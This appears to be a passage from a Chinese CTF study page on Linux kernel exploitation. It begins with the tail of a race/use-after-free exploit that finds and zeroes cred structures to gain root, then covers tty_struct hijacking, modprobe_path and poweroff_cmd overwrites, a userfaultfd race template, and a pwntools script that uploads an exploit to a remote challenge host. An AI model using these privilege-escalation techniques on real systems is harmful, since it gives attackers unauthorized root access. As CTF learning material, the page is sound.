msg.msg_namelen = sizeof(addr);

sendmsg(sockfd,&msg,0); //get UAF chunk
}

uint32_t* user_buf = calloc(1,0x1000000);
read(fd,user_buf,0x1000000);

for(int i = 0;i < 0x1000000/4;i++){
if(user_buf[i+0] == 0x3e8 && user_buf[i+1] == 0x3e8
&& user_buf[i+2] == 0x3e8 && user_buf[i+3] == 0x3e8
&& user_buf[i+4] == 0x3e8 && user_buf[i+5] == 0x3e8
&& user_buf[i+6] == 0x3e8 && user_buf[i+7] == 0x3e8)
{
puts("[:)]find cred!!!");
user_buf[i-1] = 0;
user_buf[i] = 0;
user_buf[i+1] = 0;
user_buf[i+2] = 0;
user_buf[i+3] = 0;
user_buf[i+4] = 0;
user_buf[i+5] = 0;
user_buf[i+6] = 0;
user_buf[i+7] = 0;
write(fd,user_buf,4*(i+8));
break;
}
}

check_root();
}
else{
while(1){
ioctl(fd,GET_HEAD,buf);
read(fd,buf,0x8);
if(buf[0] != '\x11'){
puts("[:)]Race success 2");
break;
}
}
check_root();
}

return 0;
}


/*
RAX: 0xffff88007a056e40 --> 0x3e800000002
RBX: 0xffff88007b9f4ff8 --> 0x0
RCX: 0x1
RDX: 0x88
RSI: 0x15080c0
RDI: 0xffff88007cc01800 --> 0x23b20
RBP: 0xffffc90000b8fed8 --> 0x0
RSP: 0xffffc90000b8fe70 --> 0xffff88007b9f4ff8 --> 0x0
RIP: 0xffffffff811a37da --> 0xc08548fffe5091e8
R8 : 0xffff88007f624ae0 --> 0xffff88007b354618 --> 0xffff88007b354640 --> 0xffff88007b354668 --> 0xffff88007b354690 --> 0xffff88007b3546b8 (--> ...)
R9 : 0x0
R10: 0xffff88007b3545f0 --> 0xffff88007b9f4ff8 --> 0x0
R11: 0x0
R12: 0xffff88007c598c00 --> 0xcb000000ce
R13: 0x100000
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffffff811a37c9: mov edx,0x88
0xffffffff811a37ce: mov esi,0x15080c0
0xffffffff811a37d3: mov r13d,DWORD PTR [rip+0x10bf026] # 0xffffffff82262800
=> 0xffffffff811a37da: call 0xffffffff81188870
0xffffffff811a37df: test rax,rax
0xffffffff811a37e2: je 0xffffffff811a3910
0xffffffff811a37e8: cmp r13d,0xffff
0xffffffff811a37ef: mov rbx,rax
Guessed arguments:
arg[0]: 0xffff88007cc01800 --> 0x23b20
arg[1]: 0x15080c0
arg[2]: 0x88


RAX: 0x0
RBX: 0xffff88007b3c8780 --> 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x15080c0
RDI: 0x280
RBP: 0x10
RSP: 0xffffc90000b8fe70 --> 0xffff88007b9f4ff8 --> 0x0
RIP: 0xffffffff811a3851 --> 0xc08548fffe54aae8
R8 : 0xffff88007f623b20 --> 0xffff88007b3c8840 --> 0xffff88007b3c8900 --> 0xffff88007b3c89c0 --> 0xffff88007b3c8a80 --> 0xffff88007b3c8b40 (--> ...)
R9 : 0x0
R10: 0xffff88007b3c8780 --> 0x0
R11: 0x0
R12: 0xffff88007c598c00 --> 0xcb000000ce
R13: 0x10
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffffff811a3843: lea rdi,[r13+r13*4+0x0]
0xffffffff811a3848: mov esi,0x15080c0
0xffffffff811a384d: shl rdi,0x3
=> 0xffffffff811a3851: call 0xffffffff81188d00
0xffffffff811a3856: test rax,rax
0xffffffff811a3859: mov QWORD PTR [rbx+0x78],rax
0xffffffff811a385d: je 0xffffffff811a38fe
0xffffffff811a3863: lea rdi,[rbx+0x20]
Guessed arguments:
arg[0]: 0x280
arg[1]: 0x15080c0

RAX: 0xffff88007ace8c00 --> 0x0
RBX: 0xffff88007b3c8780 --> 0x0
RCX: 0x0
RDX: 0xffffffff828e9558 --> 0x0
RSI: 0xffffffff81ff2684 ("&pipe->wait")
RDI: 0xffff88007b3c87a0 --> 0x0
RBP: 0x10
RSP: 0xffffc90000b8fe70 --> 0xffff88007b9f4ff8 --> 0x0
RIP: 0xffffffff811a3875 --> 0x1b848ffeeb5e6e8
R8 : 0xffff88007f623b80 --> 0xffff88007ace9400 --> 0xffff88007ace9800 --> 0xffff88007ace9c00 --> 0xffff88007acea000 --> 0xffff88007acea400 (--> ...)
R9 : 0x0
R10: 0xffff88007ace8c00 --> 0x0
R11: 0x0
R12: 0xffff88007c598c00 --> 0xcb000000ce
R13: 0x10
R14: 0x0
R15: 0x0
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffffff811a3863: lea rdi,[rbx+0x20]
0xffffffff811a3867: mov rdx,0xffffffff828e9558
0xffffffff811a386e: mov rsi,0xffffffff81ff2684
=> 0xffffffff811a3875: call 0xffffffff8108ee60
0xffffffff811a387a: movabs rax,0x100000001
0xffffffff811a3884: mov DWORD PTR [rbx+0x40],r13d
0xffffffff811a3888: mov QWORD PTR [rbx+0x80],r12
0xffffffff811a388f: mov QWORD PTR [rbx+0x54],rax
Guessed arguments:
arg[0]: 0xffff88007b3c87a0 --> 0x0
arg[1]: 0xffffffff81ff2684 ("&pipe->wait")
arg[2]: 0xffffffff828e9558 --> 0x0

RAX: 0x100000001
RBX: 0xffff88007b3c8780 --> 0x0
RCX: 0x0
RDX: 0xffffffff828e9558 --> 0x0
RSI: 0xffffffff81ff2690 ("&pipe->mutex")
RDI: 0xffff88007b3c8780 --> 0x0
RBP: 0x10
RSP: 0xffffc90000b8fe70 --> 0xffff88007b9f4ff8 --> 0x0
RIP: 0xffffffff811a38a4 --> 0xd88948ffeef9b7e8
R8 : 0xffff88007f623b80 --> 0xffff88007ace9400 --> 0xffff88007ace9800 --> 0xffff88007ace9c00 --> 0xffff88007acea000 --> 0xffff88007acea400 (--> ...)
R9 : 0x0
R10: 0xffff88007ace8c00 --> 0x0
R11: 0x0
R12: 0xffff88007c598c00 --> 0xcb000000ce
R13: 0x10
R14: 0x0
R15: 0x0
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffffff811a3893: mov rdi,rbx
0xffffffff811a3896: mov rdx,0xffffffff828e9558
0xffffffff811a389d: mov rsi,0xffffffff81ff2690
=> 0xffffffff811a38a4: call 0xffffffff81093260
0xffffffff811a38a9: mov rax,rbx
0xffffffff811a38ac: pop rbx
0xffffffff811a38ad: pop rbp
0xffffffff811a38ae: pop r12
Guessed arguments:
arg[0]: 0xffff88007b3c8780 --> 0x0
arg[1]: 0xffffffff81ff2690 ("&pipe->mutex")
arg[2]: 0xffffffff828e9558 --> 0x0
*/

2019D^3CTF_Knote_V2

https://github.com/BrieflyX/ctf-pwns/tree/master/kernel/knoteV2

2019TWCTF_Gnote

https://github.com/BrieflyX/ctf-pwns/tree/master/kernel/gnote

#

待续。。。

其他

tyy_struct && tty_operations:

若是可以伪造/控制/修改一个ptmx设备文件的tty_struct结构体则可以通过对此设备文件进行操作以控制执行流。目前只见过UAF堆溢出中的应用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {
int magic; //4
struct kref kref; //4
struct device *dev; //8
struct tty_driver *driver; //8
const struct tty_operations *ops; //tty_operations结构体 offser=24
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty, //7
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty, //12
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout; //256bytes 32个函数指针 open:3 write:7 close:4 ioctl:12

tty_struct[0] = 0x100005401tty_struct[3] = 内核基址tty_struct[7] = 内核堆地址

tty_operation一般劫持write函数较为简便,此时rax正好指向tty_operation的基地址。

cred && task_struct && thread_info && 内核stack:

每个进程有一个task_struct,这个结构体中记录了进程的信息,被称为进程描述符。

1
2
3
cred        --> cred结构体位置
real_cred --> cred结构体位置
comm[] --> 进程的名字

可以用prctl(PR_SET_NAME,name)定制comm[],需要strlen(name)<=15,然后通过内存匹配搜寻内核中comm[]位置,用if(cred == real_cred)来过滤,找到cred地址后,改前28个字节全为0即可提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */ //8个1000可作为过滤器
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

vDSO:

内核态与用户态共享数据段,内核态有rw权限(高版本无w权限),用户态有rx权限。

  1. 内核态写shellcode,用户态调用。
  2. 内核态调用set_memory_rw函数更改vDSO段权限,用户态写shellcode,用户态调用。

dump找偏移方法:

爆破地址方法:

  1. 通过ELF Sigrature
  2. 通过gettimeofday字符串:先在用户态找到gettimeofday字符串相对于开头的偏移,再到内核态爆破。

具体参照2015csaw_stringipc解法二。

prctl:

32位:

先泄露kernel_base

劫持task_prctlser_memmory_rw,调用prctl并且传入vDSO地址,之后使用和劫持vDSO同样的方法。

64位:

因为有参数截断问题,security_task_prctl函数的第一个参数为int型,开启了smep&smap攻击会失效。

先泄露kernel_base,目前见过的方法为通过内核栈上脏数据泄露泄露vDSO

prctl -> security_task_prctl -> task_prctl

通过动态调试找到task_prctl的偏移,劫持task_prctlpoweroff_work_func

poweroff_work_func() -> __orderly_poweroff -> run_cmd() -> call_usermodehelper()

通过动态调试找到poweroff_cmd字符串的偏移,将其改为我们想执行的命令。

限制:有的内核中没有security_task_prctl,有的内核不允许更改hook

call_usermodehelper:

不需要劫持函数虚表,不需要传参数那么麻烦,只需要修改变量即可提权。

后四种暂未知道如何触发:

(1) modprobe_path

1
2
3
4
5
6
7
8
9
10
11
// /kernel/kmod.c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
// /kernel/kmod.c
static int call_modprobe(char *module_name, int wait)
argv[0] = modprobe_path;
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
NULL, free_modprobe_argv, NULL);
return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
// /kernel/kmod.c
int __request_module(bool wait, const char *fmt, ...)
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);

__request_module - try to load a kernel module

触发:可通过执行错误格式的elf文件来触发执行modprobe_path指定的文件。

(2)poweroff_cmd

1
2
3
4
5
6
7
8
9
// /kernel/reboot.c
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
// /kernel/reboot.c
static int run_cmd(const char *cmd)
argv = argv_split(GFP_KERNEL, cmd, NULL);
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
// /kernel/reboot.c
static int __orderly_poweroff(bool force)
ret = run_cmd(poweroff_cmd);

触发:执行__orderly_poweroff()/poweroff_work_func即可。

(3)uevent_helper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// /lib/kobject_uevent.c
#ifdef CONFIG_UEVENT_HELPER
char uevent_helper[UEVENT_HELPER_PATH_LEN] = CONFIG_UEVENT_HELPER_PATH;
// /lib/kobject_uevent.c
static int init_uevent_argv(struct kobj_uevent_env *env, const char *subsystem)
{ ......
env->argv[0] = uevent_helper;
...... }
// /lib/kobject_uevent.c
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
char *envp_ext[])
{......
retval = init_uevent_argv(env, subsystem);
info = call_usermodehelper_setup(env->argv[0], env->argv,
env->envp, GFP_KERNEL,
NULL, cleanup_uevent_env, env);
......}

(4)ocfs2_hb_ctl_path

1
2
3
4
5
6
// /fs/ocfs2/stackglue.c
static char ocfs2_hb_ctl_path[OCFS2_MAX_HB_CTL_PATH] = "/sbin/ocfs2_hb_ctl";
// /fs/ocfs2/stackglue.c
static void ocfs2_leave_group(const char *group)
argv[0] = ocfs2_hb_ctl_path;
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

(5)nfs_cache_getent_prog

1
2
3
4
5
6
7
8
9
10
11
12
// /fs/nfs/cache_lib.c
static char nfs_cache_getent_prog[NFS_CACHE_UPCALL_PATHLEN] =
"/sbin/nfs_cache_getent";
// /fs/nfs/cache_lib.c
int nfs_cache_upcall(struct cache_detail *cd, char *entry_name)
char *argv[] = {
nfs_cache_getent_prog,
cd->name,
entry_name,
NULL
};
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

(6)cltrack_prog

1
2
3
4
5
6
// /fs/nfsd/nfs4recover.c
static char cltrack_prog[PATH_MAX] = "/sbin/nfsdcltrack";
// /fs/nfsd/nfs4recover.c
static int nfsd4_umh_cltrack_upcall(char *cmd, char *arg, char *env0, char *env1)
argv[0] = (char *)cltrack_prog;
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);

userfaultfd:

我们的虚拟内存和物理内存(RAM)存在着映射关系,每当我们对虚拟地址的内存进行读写时,内核都会通过页表来查找对应的物理内存帧,若是没有对应的帧,就会触发缺页中断

内核提供了用户自定义缺页中断处理方式的接口,也就是userfaultfd,我们有时候为了利用漏洞不得不造成缺页中断,我们就可以使用userfaultfd来触发中断后进入我们自定义的流程从而引发竞争,例如:在写的时候触发中断,然后我们先delete一下,再继续完成正常写的操作,等于有了UAF,常规用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void handle(void* uffd){
struct pollfd mypollfd;

mypollfd.fd = (unsigned long)uffd;
mypollfd.events = POLLIN;
int re = poll(&mypollfd,1,-1);
if(re <= 0){
puts("[:(]Catch error...");
exit(0);
}
puts("[:)]Struck the pagefault!!!");
sleep(1000);
}

void register_uffd(uint64_t fault_page,uint64_t fault_page_size){
struct uffdio_api myapi;
struct uffdio_register myuffd;
pthread_t pt;

int uffd = syscall(__NR_userfaultfd,O_CLOEXEC|O_NONBLOCK);

myapi.api = UFFD_API;
myapi.features = 0;
if(ioctl(uffd,UFFDIO_API,&myapi) == -1){
puts("[:(]Api error...");
exit(-1);
}

myuffd.range.start = fault_page;
myuffd.range.len = fault_page_size;
myuffd.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd,UFFDIO_REGISTER,&myuffd) == -1){
puts("[:(]Register error...");
exit(-1);
}

int re = pthread_create(&pt,NULL,handle,(void*)uffd);
if(re != 0){
puts("[:(]Create pthread error...");
exit(-1);
}
}

char* mmap_addr = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
uint64_t fault_page = mmap_addr; //监视内存起始地址
uint64_t fault_page_size = 0x1000; //监视内存长度
register_uffd(fault_page,fault_page_size);
//一旦被监视的内存区域触发缺页中断,poll会catch到信号,然后会进入之后的用户自定义流程,在这里是使此进程sleep(1000),我们就可以在其他进程继续操作。当然这只是最简单的操作。

race:

内核与用户态不同,我们可以随意控制exp这个进程,也就意味着我们可以产生无限多的子进程和线程,这也就导致了竞争问题,即double petch。当看到启动内核脚本开启了:core=2 thread=2等非1时就需要考虑到竞争的可能性。

这类题目难度较大,也较为灵活,需要对题目的细节有较深的理解,理清思路为关键。可用列表先理清楚思路。

thread1 thread2
。。。 。。。
。。。 。。。
。。。 。。。

内核利用的核心:

如何获取一个具有root权限的进程开启的shell

root权限的shell必然是root权限的进程调用产生的,所以就有了以下几个办法:

  1. 让当前进程的权限提升为root,也就是对exp这个进程提权,然后自己运行system("/bin/sh")。一般有改当前进程的cred结构体前28字节为全0,和commit_creds(prepare_kernel_cred(0))两种办法。
  2. 在当前低权限进程(也就是在exp中)监听一个端口,让某个具有root权限的进程反弹shell连接此端口,这样我们也会获得一个具有root权限的shell
  3. 利用内核中已有的包装好的提权函数,想办法控制其参数并触发它,这里call_usermodehelper使用较多,也衍生出了poweroff_cmdmodprobe_path等变种方法。

内存映射:

未开启kalsr的默认情况:

x1.PNG

我们可以看到:

  • 0x0000,0000,0000,0000 ~ 0x0000,7fff,ffff,f000为用户态空间。
  • 0x0000,7fff,ffff,f000 ~ 0x0000,8000,0000,0000为保护空间。
  • 0xffff,8000,0000,0000 ~ 0xffff,8800,0000,0000为无关性地址。
  • 0xffff,8800,0000,0000 ~ 0xffff,c800,0000,0000为内核态的内存区,例如kmallockzalloc之类申请的内存都在这一块区域。
  • 0xffff,c900,0000,0000 ~ 0xffff,e900,0000,0000为内核态的vmalloc映射区。
  • 0xffff,ffff,8000,0000 ~ 0xffff,ffff,a000,0000为内核态的内核主体映射区,也就是vmlinux加载的地址,内部含有代码与数据。
  • 0xffff,ffff,a000,0000 ~ 0xffff,ffff,ff60,0000为内核态的内核模块映射区,也就是.ko文件加载的地址,内部含有代码与数据。
  • 0xffff,ffff,ff60,0000 ~ 0xffff,ffff,ff60,1000vsyscall地址,用户态可访问的且地址固定的一块区域。

但是我尝试了开启了kaslr之后其实这个地址分布只能作为参考,并不一定准确。

physmap = 0xffff,8800,0000,0000 slub/slab = 0xffff,8880,0000,0000

打远程的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python
from pwn import *

HOST = "35.221.78.115"
PORT = 10022

USER = "pwn"
PW = "pwn"

def compile():
log.info("Compile")
os.system("musl-gcc -w -s -static -o3 pwn2.c -o pwn")

def exec_cmd(cmd):
r.sendline(cmd)
r.recvuntil("$ ")

def upload():
p = log.progress("Upload")

with open("pwn", "rb") as f:
data = f.read()

encoded = base64.b64encode(data)

r.recvuntil("$ ")

for i in range(0, len(encoded), 300):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

exec_cmd("cat benc | base64 -d > bout")
exec_cmd("chmod +x bout")

p.success()

def exploit(r):
compile()
upload()

r.interactive()

return

if __name__ == "__main__":
if len(sys.argv) > 1:
session = ssh(USER, HOST, PORT, PW)
r = session.run("/bin/sh")
exploit(r)
else:
r = process("./startvm.sh")
print util.proc.pidof(r)
pause()
exploit(r)

保护机制:

smep/PNX & smap:

用户态代码禁止执行用户态数据禁止访问

如果可以ROP的话,首先是ropchain需要放在内核内存中,其次是需要mov cr4,0x6f0

KASLR:

四个随机化:

内核栈基,内核模块基,内核代码基,内核堆基。

KPTI:

kernel为了缓解Meltdown漏洞的威胁,从4.15版本引入了KPTI(Kernel Page Table Isolation) (a.k.a KAISER) 技术,将内核页表与用户态页表完全隔离,(通过cr3寄存器控制开关,也许可以修改cr3绕过?等待大佬研究),iretq返回用户态函数地址时会产生SIGSEGV错误,解决方法也很简单,用get shell函数catch这个signal即可。

SLUB分配器:

两个重要概念:slub分配器,slab缓冲区,伙伴系统。

几个重要结构体:struct kmem_cache kmalloc_caches[12]

struct kmem_cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 59 /*
60 * Slab cache management.
61 */
62 struct kmem_cache {
63 struct kmem_cache_cpu __percpu *cpu_slab;//每个CPU对应的cpu_slab;
64 /* Used for retriving partial slabs etc */
65 unsigned long flags;
66 unsigned long min_partial;//每个node节点中部分空缓冲区数量不能低于这个值;如果小于这个值,空闲slab缓冲区不能够进行释放
67 int size; /* The size of an object including meta data */
68 int object_size; /* The size of an object without meta data */
69 int offset; //空闲指针偏移量;/* Free pointer offset. */
70 int cpu_partial; /* Number of per cpu partial objects to keep around */ //表示的是空闲对象数量,小于的情况下要去对应的node节点部分空链表中获取若干个部分空slab;

//kmem_cache_order_objects 表示保存slab缓冲区的需要的页框数量的
//order值和objects数量的值,通过这个计算出需要多少页框,oo是默认
//值,max是最大值,min在分配失败的时候使用;
71 struct kmem_cache_order_objects oo;
72
73 /* Allocation and freeing of slabs */
74 struct kmem_cache_order_objects max;
75 struct kmem_cache_order_objects min;
76 gfp_t allocflags; /* gfp flags to use on each alloc */
77 int refcount; /* Refcount for slab cache destroy */
78 void (*ctor)(void *);//该缓存区的构造函数,初始化的时候调用;并设置该cpu的当前使用的缓冲区;
79 int inuse; /* Offset to metadata */
80 int align; /* Alignment */
81 int reserved; /* Reserved bytes at the end of slabs */
82 const char *name; /* Name (only for display!) */
83 struct list_head list; /* List of slab caches *///所有kmem_cache结构都会链入这个链表;
84 #ifdef CONFIG_SYSFS
85 struct kobject kobj; /* For sysfs */
86 #endif
87 #ifdef CONFIG_MEMCG_KMEM
88 struct memcg_cache_params *memcg_params;
89 int max_attr_size; /* for propagation, maximum size of a stored attr */
90 #ifdef CONFIG_SYSFS
91 struct kset *memcg_kset;
92 #endif
93 #endif
94
95 #ifdef CONFIG_NUMA
96 /*
97 * Defragmentation by allocating from a remote node.
98 */
99 int remote_node_defrag_ratio;//numa框架,该值越小,越倾向于在本结点分配对象;
100 #endif
//此高速缓存的slab链表,每个numa节点有一个,有可能该高速缓存有些slab处于其他几点上;
101 struct kmem_cache_node *node[MAX_NUMNODES];
102 };

struct kmem_cache_cpu

1
2
3
4
5
6
7
8
9
10
11
40 struct kmem_cache_cpu {
41 void **freelist;//下一个空闲对象地址/* Pointer to next available object */
42 unsigned long tid; /* Globally unique transaction id *///主要考虑并发;
43 struct page *page; /* The slab from which we are allocating */
//cpu当前使用的slab缓冲区描述符,freelist会指向此slab的下一个空闲对象;
44 struct page *partial; /* Partially allocated frozen slabs */
//cpu部分空slab链表,放到cpu的部分空slab链表中的slab会被冻结,而放入node中的部分空slab链表则解冻,解冻标志放在slab缓冲区描述符中;
45 #ifdef CONFIG_SLUB_STATS
46 unsigned stat[NR_SLUB_STAT_ITEMS];
47 #endif
48 };

struct kmem_cache_node

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
315  * The slab lists for all objects.
316 */
317 struct kmem_cache_node {
318 spinlock_t list_lock;
319
320 #ifdef CONFIG_SLAB
......
331 #endif
332
333 #ifdef CONFIG_SLUB
334 unsigned long nr_partial;
335 struct list_head partial;//只保留了部分空slab缓冲区;
336 #ifdef CONFIG_SLUB_DEBUG
337 atomic_long_t nr_slabs;
338 atomic_long_t total_objects;
339 struct list_head full;
340 #endif
341 #endif
342
343 };

比较好文章:

https://blog.csdn.net/lukuen/article/details/6935068

https://www.cnblogs.com/tolimit/p/4654109.html

一些相关函数:

1
2
3
4
5
6
7
8
/* Tracepoints definitions. */
//https://elixir.bootlin.com/linux/v4.12/source/include/linux/slab.h 可自行查看
EXPORT_TRACEPOINT_SYMBOL(kmalloc);
EXPORT_TRACEPOINT_SYMBOL(kmem_cache_alloc);
EXPORT_TRACEPOINT_SYMBOL(kmalloc_node);
EXPORT_TRACEPOINT_SYMBOL(kmem_cache_alloc_node);
EXPORT_TRACEPOINT_SYMBOL(kfree);
EXPORT_TRACEPOINT_SYMBOL(kmem_cache_free);

知识积累:

linuxkernel完善教程

https://github.com/gatieme/LDD-LinuxDeviceDrivers/tree/master/study/kernel

open的第2/3个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#define O_ACCMODE   00000003  
#define O_RDONLY 00000000 //只读打开
#define O_WRONLY 00000001 //只写打开
#define O_RDWR 00000002 //读写打开
#ifndef O_CREAT
#define O_CREAT 00000100 //文件不存在则创建,需要mode_t
#endif
#ifndef O_EXCL
#define O_EXCL 00000200 //如果同时指定了O_CREAT,而文件已经存在,则出错
#endif
#ifndef O_NOCTTY
#define O_NOCTTY 00000400 //如果pathname代表终端设备,则不将此设备分配作为此进程的控制终端
#endif
#ifndef O_TRUNC
#define O_TRUNC 00001000 //如果此文件存在,而且为只读或只写成功打开,则将其长度截短为0
#endif
#ifndef O_APPEND
#define O_APPEND 00002000 //每次写时都加到文件的尾端
#endif
#ifndef O_NONBLOCK
#define O_NONBLOCK 00004000 //如果pathname指的是一个FIFO、一个块特殊文件或一个字符特殊文件,则此选择项为此文件的本次打开操作和后续的I / O操作设置非阻塞
#endif
#ifndef O_SYNC
#define O_SYNC 00010000 //使每次write都等到物理I/O操作完成
#endif
#ifndef FASYNC
#define FASYNC 00020000 //兼容BSD的fcntl同步操作
#endif
#ifndef O_DIRECT
#define O_DIRECT 00040000 //直接磁盘操作标识,每次读写都不使用内核提供的缓存,直接读写磁盘设备
#endif
#ifndef O_LARGEFILE
#define O_LARGEFILE 00100000 // 大文件标识
#endif
#ifndef O_DIRECTORY
#define O_DIRECTORY 00200000 //必须是目录
#endif
#ifndef O_NOFOLLOW
#define O_NOFOLLOW 00400000 //不获取连接文件
#endif
#ifndef O_NOATIME
#define O_NOATIME 01000000
#endif
#ifndef O_CLOEXEC
#define O_CLOEXEC 02000000 /* set close_on_exec */
#endif
#ifndef O_NDELAY
